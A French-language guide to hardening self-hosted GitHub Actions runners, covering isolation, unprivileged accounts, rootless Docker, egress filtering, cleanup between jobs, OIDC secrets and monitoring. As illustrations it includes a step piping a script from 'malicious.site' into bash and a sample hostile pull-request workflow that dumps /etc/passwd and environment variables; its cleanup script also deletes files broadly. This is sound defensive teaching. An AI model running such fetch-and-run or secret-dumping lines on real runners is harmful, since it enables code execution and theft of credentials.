Les runners self-hosted offrent de la flexibilité mais introduisent des risques de sécurité que vous devez gérer vous-même. Ce guide présente les mesures de hardening essentielles, du compte système au nettoyage entre les jobs.
Ce que vous allez apprendre
Section intitulée « Ce que vous allez apprendre »- Identifier les risques propres aux runners self-hosted
- Isoler les exécutions par niveau de confiance et par conteneur
- Restreindre les permissions du compte, de Docker et du réseau
- Nettoyer l'environnement entre chaque job
- Protéger les secrets et surveiller les runners
Risques des runners self-hosted
Section intitulée « Risques des runners self-hosted »Un runner GitHub-hosted est une machine jetable : GitHub la crée pour un job, puis la détruit. Un runner self-hosted, lui, est une machine qui vous appartient, connectée à votre réseau, et qui survit aux jobs. Les trois risques ci-dessous découlent tous de cette différence, et ce sont eux que les mesures de ce guide neutralisent.
Exécution de code non fiable
Section intitulée « Exécution de code non fiable »Tout workflow peut exécuter du code arbitraire sur le runner : un bloc run:
n'est rien d'autre qu'un script shell lancé avec les droits du compte de
service du runner. Toute personne capable de modifier un fichier de
.github/workflows/, ou de faire fusionner une PR qui le modifie, obtient donc
l'exécution de commandes sur votre machine.
- run: | # Ce code s'exécute avec les droits du runner curl http://malicious.site/script.sh | bashPersistence des données
Section intitulée « Persistence des données »Contrairement aux runners GitHub-hosted, l'environnement persiste entre les jobs : le disque, le cache des gestionnaires de paquets et les images Docker restent en place. Un job malveillant peut donc déposer de quoi piéger le job suivant, et un job légitime peut laisser fuiter ce qu'il a manipulé. Trois résidus reviennent systématiquement :
- Fichiers laissés par un job précédent
- Variables d'environnement résiduelles
- Credentials en cache
Accès réseau
Section intitulée « Accès réseau »Le runner a accès au réseau où il se trouve : il hérite de tout ce que son sous-réseau autorise, y compris des services qui n'exigent pas d'authentification parce qu'ils se croient à l'abri derrière le pare-feu périmétrique. Un runner posé dans le réseau de production devient un point d'entrée vers tout ce qui s'y trouve :
- Bases de données internes
- APIs privées
- Autres services
Règle d'or : pas de runners publics
Section intitulée « Règle d'or : pas de runners publics »Sur un dépôt public, n'importe qui peut ouvrir une PR depuis un fork, et donc proposer un fichier de workflow. GitHub exige certes une approbation pour la première contribution d'un compte, mais cette approbation est donnée par un humain qui relit surtout le code applicatif. Le workflow ci-dessous montre ce qu'un attaquant obtient si l'approbation passe.
# Un attaquant peut soumettre cette PR sur un repo publicname: Malicious PRon: pull_request
jobs: attack: runs-on: self-hosted # S'exécute sur VOTRE infrastructure steps: - run: | # Vol de secrets, minage de crypto, etc. cat /etc/passwd envIsolation des runners
Section intitulée « Isolation des runners »L'isolation est la première ligne de défense : limiter ce qu'un job peut atteindre limite les dégâts d'un job compromis. Trois niveaux la renforcent.
1. Runners dédiés par niveau de confiance
Section intitulée « 1. Runners dédiés par niveau de confiance »Le routage se fait par labels : un job ne part que vers un runner qui porte
tous ceux qu'il demande. En réservant les runners trusted aux branches
protégées et en envoyant les PR vers des runners untrusted sans accès au
réseau interne ni aux secrets de production, un workflow hostile s'exécute sur
une machine qui n'a rien d'intéressant à voler.
# Runners pour le code de confiance (main, releases)runs-on: [self-hosted, trusted]
# Runners pour les PRs (moins de confiance)runs-on: [self-hosted, untrusted]2. Exécuter dans des conteneurs
Section intitulée « 2. Exécuter dans des conteneurs »La clé container: fait tourner tous les steps du job dans l'image
indiquée, pas directement sur l'hôte. Le job ne voit plus que le système de
fichiers du conteneur, il ne peut donc pas laisser de résidus sur l'hôte.
L'isolation reste celle du noyau partagé : elle ne résiste pas à un
conteneur privilégié ni à un montage du socket Docker.
jobs: build: runs-on: self-hosted container: image: node:20-alpine@sha256:fb4cd12c85ee03686f6af5362a0b0d56d50c58a04632e6c0fb8363f609372293 # Isolation par conteneur3. Machines virtuelles éphémères
Section intitulée « 3. Machines virtuelles éphémères »Détruisez la VM après chaque job : c'est la seule isolation qui supprime réellement la persistance, puisque le disque disparaît avec la machine. Le runner s'enregistre en mode éphémère et se retire de la liste GitHub à la fin du job ; un orchestrateur en provisionne un nouveau pour le job suivant. Le prix à payer est un temps de démarrage de quelques dizaines de secondes par job.
runs-on: [self-hosted, ephemeral]# Le runner-scaler détruit la VM après exécutionLimiter les permissions
Section intitulée « Limiter les permissions »Un runner compromis ne doit pas pouvoir grand-chose. On restreint sur trois plans : le compte système, Docker et le réseau.
Sur la machine
Section intitulée « Sur la machine »Le runner ne doit jamais tourner sous root ni sous votre compte
d'administration : tout run: hérite de ses droits. Un compte de service dédié,
sans mot de passe et absent des sudoers, limite un job compromis à son
propre répertoire de travail. Si une tâche a réellement besoin d'une commande
privilégiée, accordez-la unitairement dans /etc/sudoers.d/ plutôt que de
donner un sudo complet.
# Créer un utilisateur dédié sans privilègessudo useradd -m -s /bin/bash github-runnersudo usermod -L github-runner # Pas de login
# Installer le runner avec cet utilisateursudo -u github-runner ./config.sh ...
# Pas de sudo pour le runner# Ne jamais ajouter github-runner aux sudoers !Docker sans root
Section intitulée « Docker sans root »Ajouter le compte du runner au groupe docker revient à lui donner root sur
l'hôte : le démon tourne en root et un conteneur peut monter /. Docker
rootless supprime ce contournement en faisant tourner le démon sous le compte
du runner. À défaut, durcissez chaque conteneur en retirant les capabilities
et en interdisant l'élévation de privilèges.
# Utiliser rootless Docker si possible# Ou limiter avec --security-opt
docker run --security-opt=no-new-privileges \ --cap-drop=ALL \ --read-only \ ...Réseau restreint
Section intitulée « Réseau restreint »Un runner n'a besoin que de joindre GitHub en HTTPS et les registres d'où il
tire ses dépendances : il travaille en sortie sortante uniquement, aucun
flux entrant n'est requis. Filtrer le reste en sortie coupe à la fois
l'exfiltration de secrets et l'accès latéral aux services internes. Testez ces
règles avant de les rendre persistantes, un DROP trop large bloque aussi les
mises à jour du runner.
# Firewall : limiter les connexions sortantesiptables -A OUTPUT -o eth0 -p tcp --dport 443 -j ACCEPT # GitHubiptables -A OUTPUT -o eth0 -p tcp --dport 80 -j ACCEPT # HTTPiptables -A OUTPUT -o eth0 -j DROP # Bloquer le resteNettoyer entre les jobs
Section intitulée « Nettoyer entre les jobs »Sur un runner persistant, ce qu'un job laisse derrière lui reste disponible pour le suivant. Un nettoyage systématique évite les fuites entre jobs.
Script de nettoyage
Section intitulée « Script de nettoyage »Le répertoire _work, le cache npm et les images Docker sont les trois endroits
où un job laisse le plus de traces exploitables. Ce script les vide
systématiquement, sans chercher à distinguer ce qui est légitime : un nettoyage
inconditionnel est le seul qui reste fiable dans la durée.
#!/bin/bash# cleanup.sh - à exécuter après chaque job
# Supprimer les fichiers temporairesrm -rf /tmp/* /var/tmp/*
# Nettoyer le home du runnerrm -rf /home/github-runner/.npmrm -rf /home/github-runner/.cacherm -rf /home/github-runner/work/*
# Nettoyer Dockerdocker system prune -afdocker volume prune -f
# Supprimer les variables d'environnement personnaliséesunset $(env | grep -v '^PATH=' | cut -d= -f1)Configurer le cleanup automatique
Section intitulée « Configurer le cleanup automatique »Un nettoyage déclenché depuis le workflow ne s'exécute pas si le job est annulé
ou si le runner redémarre : le rattacher au service systemd le rend
indépendant du contenu des workflows. ExecStartPre nettoie avant de reprendre
le travail, ExecStopPost après l'arrêt.
# Dans le service systemd du runner[Service]ExecStartPre=/opt/actions-runner/cleanup.shExecStopPost=/opt/actions-runner/cleanup.shProtéger les secrets
Section intitulée « Protéger les secrets »Les secrets ne doivent jamais résider en dur sur le runner. Voici comment les faire transiter et les manipuler sans les exposer.
Variables d'environnement
Section intitulée « Variables d'environnement »Un secret placé dans le .bashrc du compte runner devient lisible par tous
les jobs, y compris ceux qui n'en ont pas besoin. Passé par le bloc env:
d'un step, il n'existe que le temps de ce step et GitHub le masque dans les
logs.
# ❌ Ne pas mettre de secrets dans les scripts du runner# ~/.bashrc avec AWS_SECRET_ACCESS_KEY = mauvaise idée
# ✅ Utiliser les secrets GitHub- name: Deploy env: AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }} run: aws s3 sync ./dist s3://bucketCredentials système
Section intitulée « Credentials système »Les fichiers d'identifiants posés sur la machine, ~/.aws/credentials,
~/.kube/config ou un compte de service, sont accessibles à n'importe quel job
et ne tournent jamais. OIDC les remplace par un jeton demandé au moment du
job, valable quelques minutes et lié au dépôt appelant.
# Utiliser des short-lived tokens via OIDC# Pas de credentials statiques sur le runner# Voir /docs/pipeline-cicd/github/securite/oidc/Fichiers sensibles
Section intitulée « Fichiers sensibles »Quand un outil exige un secret sous forme de fichier, un tmpfs le maintient en mémoire vive : rien n'est écrit sur le disque, et le contenu disparaît au redémarrage sans laisser de bloc récupérable.
# Monter les secrets en read-only tmpfsmkdir -p /run/secretsmount -t tmpfs -o size=10M,mode=0700 tmpfs /run/secretsSurveiller les runners
Section intitulée « Surveiller les runners »Le durcissement ne suffit pas : il faut détecter une compromission. Logs d'audit et monitoring système rendent visibles les comportements anormaux.
Logs d'audit
Section intitulée « Logs d'audit »La variable ACTIONS_RUNNER_DEBUG fait journaliser au runner le détail de
chaque step, utile pour reconstituer ce qu'a fait un job après coup. Réservez-la
au diagnostic : ces logs sont verbeux et exposent des chemins et des noms de
variables que vous ne voulez pas laisser en permanence.
# Activer les logs détaillésenv: ACTIONS_RUNNER_DEBUG: trueMonitoring système
Section intitulée « Monitoring système »Les logs du runner disent ce que le workflow a demandé ; l'audit système dit ce
qui s'est réellement exécuté sur la machine. Une règle auditd sur
execve enregistre chaque commande lancée, ce qui permet de repérer un binaire
téléchargé au vol ou une connexion sortante qui ne correspond à aucun step.
# Surveiller les processus suspectsauditctl -a always,exit -F arch=b64 -S execve -k commands
# Alerter sur les connexions sortantes inhabituelles# (avec un outil comme Falco, osquery, etc.)Alertes GitHub
Section intitulée « Alertes GitHub »Configurez des webhooks pour être alerté des runs sur les runners self-hosted.
L'événement workflow_job porte les labels demandés par le job : vous
détectez ainsi un workflow qui vise vos runners alors qu'il ne devrait pas, sans
attendre de consulter l'onglet Actions.
Checklist de sécurité
Section intitulée « Checklist de sécurité »Ces trois listes reprennent les mesures du guide selon le moment où elles s'appliquent : à l'installation, en exploitation courante, et lors des décisions d'architecture. Les points de configuration initiale sont ceux qu'il est coûteux de rattraper une fois le runner en production.
Configuration initiale
Section intitulée « Configuration initiale »Ces cinq points se règlent avant le premier job. Ils forment le socle minimal : un runner qui n'en coche pas la totalité ne devrait pas recevoir de workflow.
- Runner sur repository privé uniquement
- Utilisateur dédié sans privilèges sudo
- Firewall configuré (whitelist)
- Docker rootless ou avec restrictions
- Logs d'audit activés
Opérations régulières
Section intitulée « Opérations régulières »Un runner se dégrade avec le temps : l'agent prend du retard, les jetons d'enregistrement traînent, des workflows nouveaux arrivent sans que personne ne les relise. Ces quatre vérifications se planifient, faute de quoi elles ne se font jamais.
- Mises à jour du runner et de l'OS
- Rotation des tokens d'enregistrement
- Revue des workflows exécutés
- Vérification des logs d'audit
Architecture
Section intitulée « Architecture »Ces quatre choix ne se corrigent pas par un réglage : ils déterminent l'exposition de votre parc. C'est le niveau où l'on décide qu'un job de PR ne touchera jamais la même machine qu'un job de release.
- Runners séparés par niveau de confiance
- Runners éphémères pour les PRs
- Pas de secrets statiques sur les runners
- OIDC pour l'authentification cloud
Pattern sécurisé complet
Section intitulée « Pattern sécurisé complet »Ce workflow rassemble les mesures du guide : runner de confiance, exécution en conteneur durci, OIDC au lieu de secrets statiques et nettoyage explicite.
name: Secure Build
on: push: branches: [main]
# Aucun droit par défaut : le job demande le minimumpermissions: {}
jobs: build: runs-on: [self-hosted, linux, trusted] permissions: contents: read id-token: write # Pour OIDC container: image: node:20-alpine options: --read-only --security-opt=no-new-privileges steps: - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 with: persist-credentials: false
# OIDC au lieu de secrets statiques - uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2 with: role-to-assume: arn:aws:iam::123456789:role/github-actions aws-region: eu-west-1
- run: npm ci - run: npm test - run: npm run build
# Cleanup explicite - name: Cleanup if: always() run: rm -rf node_modules .npmContrôle de connaissances
Section intitulée « Contrôle de connaissances »Vérifiez que l'essentiel de ce guide est acquis. Les questions portent uniquement sur ce qui vient d'être expliqué ici.
Contrôle de connaissances
Validez vos connaissances avec ce quiz interactif
Informations
- Le chronomètre démarre au clic sur Démarrer
- Questions à choix multiples, vrai/faux et réponses courtes
- Vous pouvez naviguer entre les questions
- Les résultats détaillés sont affichés à la fin
Lance le quiz et démarre le chronomètre
Vérification
(0/0)Profil de compétences
Quoi faire maintenant
Ressources pour progresser
Des indices pour retenter votre chance ?
Nouveau quiz complet avec des questions aléatoires
Retravailler uniquement les questions ratées
Retour à la liste des certifications
À retenir
Section intitulée « À retenir »- Un runner self-hosted ne va jamais sur un dépôt public : une PR de fork exécuterait du code arbitraire chez vous.
- Isolez les exécutions : runners dédiés par niveau de confiance, conteneurs, VM éphémères.
- Le compte du runner est sans sudo ; Docker tourne en rootless ou avec des capabilities réduites.
- Nettoyez systématiquement entre les jobs, l'environnement persiste, contrairement aux runners hosted.
- Pas de secrets statiques sur la machine : privilégiez OIDC et les jetons à durée de vie courte.